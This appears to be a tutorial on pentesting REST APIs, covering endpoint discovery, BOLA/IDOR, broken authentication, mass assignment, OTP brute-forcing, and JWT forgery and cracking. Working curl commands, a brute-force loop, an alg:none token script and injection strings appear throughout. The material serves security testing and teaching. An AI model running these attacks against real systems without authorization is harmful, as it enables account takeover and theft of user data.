APIs are the backbone of modern web and mobile applications, and they’re also one of the most frequently exploited attack surfaces. Unlike traditional web applications where the attack surface is visible in HTML, API attack surfaces require deliberate discovery and testing methodologies. This guide covers the fundamentals of API pentesting from recon through exploitation.
Understanding the API Attack Surface
REST APIs communicate via HTTP methods and typically return JSON or XML. The attack surface includes:
- Endpoints: Every route (
/api/v1/users, /api/v1/orders/{id})
- HTTP methods: GET, POST, PUT, DELETE, PATCH — each may be implemented differently
- Parameters: Query strings, path parameters, request bodies
- Headers: Authorization tokens, custom headers, content-type handling
- Authentication mechanisms: JWT, OAuth, API keys, Basic auth
- Business logic: The rules governing what actions users can take
Discovering the API Attack Surface
API Documentation
Many APIs expose their own documentation:
# Common documentation paths
curl https://target.com/api/docs
curl https://target.com/swagger.json
curl https://target.com/openapi.json
curl https://target.com/api/v1/swagger.json
curl https://target.com/redoc
Import a Swagger/OpenAPI spec directly into Postman or Burp Suite to auto-generate requests for every endpoint.
Fuzzing Endpoints
Use FFUF to discover undocumented endpoints:
ffuf -u https://api.target.com/api/v1/FUZZ \
-w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt \
-mc 200,201,400,401,403 \
-o api_endpoints.json -of json
Also fuzz for versioning:
ffuf -u https://api.target.com/api/FUZZ/users \
-w /usr/share/seclists/Discovery/Web-Content/api/api-seen-in-wild.txt \
-mc 200,201,400,401,403
Traffic Analysis with Burp Suite
Configure your browser to proxy through Burp (127.0.0.1:8080) and use the application normally. Burp’s Target > Site Map will populate with discovered endpoints. For mobile apps, configure the device to use Burp as a proxy and install the Burp CA certificate.
OWASP API Top 10
The OWASP API Security Top 10 defines the most critical API vulnerabilities. Here are the most commonly exploited:
API1: Broken Object Level Authorization (BOLA)
Also called IDOR (Insecure Direct Object Reference). An authenticated user can access another user’s resources by manipulating object IDs.
Test: If you’re user ID 1002, change the ID in requests:
# Your legitimate request
curl -H "Authorization: Bearer YOUR_TOKEN" https://api.target.com/api/v1/users/1002/orders
# Attempt to access another user's orders
curl -H "Authorization: Bearer YOUR_TOKEN" https://api.target.com/api/v1/users/1001/orders
curl -H "Authorization: Bearer YOUR_TOKEN" https://api.target.com/api/v1/users/1003/orders
If the server returns data for other users without error, BOLA exists.
Burp Trick: Use the Repeater with the Intruder to cycle through IDs 1-1000. Compare response sizes — different size = different data = potential BOLA.
API2: Broken Authentication
Test for:
# Default/weak API keys
curl -H "X-API-Key: admin" https://api.target.com/api/v1/admin
curl -H "X-API-Key: test" https://api.target.com/api/v1/admin
curl -H "Authorization: Basic YWRtaW46YWRtaW4=" https://api.target.com/api/v1/admin # admin:admin
# Missing authentication on sensitive endpoints
curl https://api.target.com/api/v1/users # No auth header
curl https://api.target.com/api/v1/admin/users # Admin endpoint without auth
API3: Broken Object Property Level Authorization (Mass Assignment)
APIs that accept JSON bodies sometimes bind all submitted properties to the underlying data model, including privileged fields users shouldn’t control.
Test: Add properties like "isAdmin": true, "role": "admin", or "balance": 99999 to a legitimate request:
curl -X PUT https://api.target.com/api/v1/users/profile \
-H "Authorization: Bearer YOUR_TOKEN" \
-H "Content-Type: application/json" \
-d '{"name":"Test User","email":"test@test.com","role":"admin","isAdmin":true}'
Check if the updated profile reflects the injected fields.
API6: Unrestricted Access to Sensitive Business Flows
Rate limiting is absent on sensitive operations:
# Test if you can brute-force OTPs
for i in {0000..9999}; do
response=$(curl -s -X POST https://api.target.com/api/v1/verify-otp \
-d "{\"otp\":\"$i\",\"user_id\":\"123\"}" \
-H "Content-Type: application/json")
echo "$i: $response"
done
JWT Attacks
JSON Web Tokens are a common authentication mechanism with several well-known vulnerabilities.
Inspecting JWTs
Decode without verification:
# JWT format: header.payload.signature (all base64)
echo "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9" | base64 -d
Or use jwt.io to decode in a browser.
Algorithm Confusion: None Algorithm
Some older JWT libraries accept "alg": "none" and skip signature verification:
# Craft a token with alg:none
python3 -c "
import base64, json
header = base64.urlsafe_b64encode(json.dumps({'alg':'none','typ':'JWT'}).encode()).rstrip(b'=').decode()
payload = base64.urlsafe_b64encode(json.dumps({'sub':'admin','role':'admin'}).encode()).rstrip(b'=').decode()
print(f'{header}.{payload}.')
"
Weak HMAC Secret Cracking
If the algorithm is HS256, the signature is an HMAC. Crack weak secrets with jwt-cracker or hashcat:
hashcat -m 16500 jwt_token.txt /usr/share/wordlists/rockyou.txt
RS256 to HS256 Confusion
If a server uses RS256 (asymmetric), and you have the public key, you can sometimes trick the server into verifying your HS256 token signed with the public key as the secret. Use jwt_tool for this:
python3 jwt_tool.py TOKEN -X k -pk public_key.pem
Authorization Testing
Methodical authorization testing across roles:
- Create two accounts:
user_a (regular) and user_b (regular)
- Also obtain or create an admin account if possible
- For every endpoint, test access with each account
- Log the account that performs the action, then replay the request with the other account’s token
In Burp Suite, use the Autorize extension to automate this — it replays every request with a low-privilege token automatically.
Postman for API Testing
Postman simplifies API testing with collections, environments, and pre-request scripts.
Setting Up
- Import an OpenAPI spec: File > Import > paste the URL or file
- Create an environment with variables:
{{base_url}}, {{token}}
- Use a pre-request script to fetch a fresh auth token:
pm.sendRequest({
url: pm.environment.get('base_url') + '/api/auth/login',
method: 'POST',
body: {mode: 'raw', raw: JSON.stringify({username:'admin', password:'password'})}
}, function(err, res) {
pm.environment.set('token', res.json().access_token);
});
API Security Testing Checklist
| Test | Method |
|---|
| BOLA/IDOR on all object IDs | Manually swap IDs, Burp Intruder |
| Missing auth on endpoints | Remove Authorization header |
| HTTP method override | Try PUT/DELETE where only GET documented |
| Mass assignment | Add privilege fields to PUT/POST body |
| Rate limiting | Rapid-fire requests, check for 429 |
| JWT attacks | jwt_tool, hashcat |
| SQL/NoSQL injection | ' OR '1'='1, {"$gt":""} in body |
| SSRF via URL params | Point to internal services |
APIs reward patient, systematic testing. The BOLA vulnerability class alone has been responsible for major breaches at companies like Peloton, Experian, and T-Mobile. Build a solid enumeration habit, document every endpoint, and test each one across multiple authorization contexts.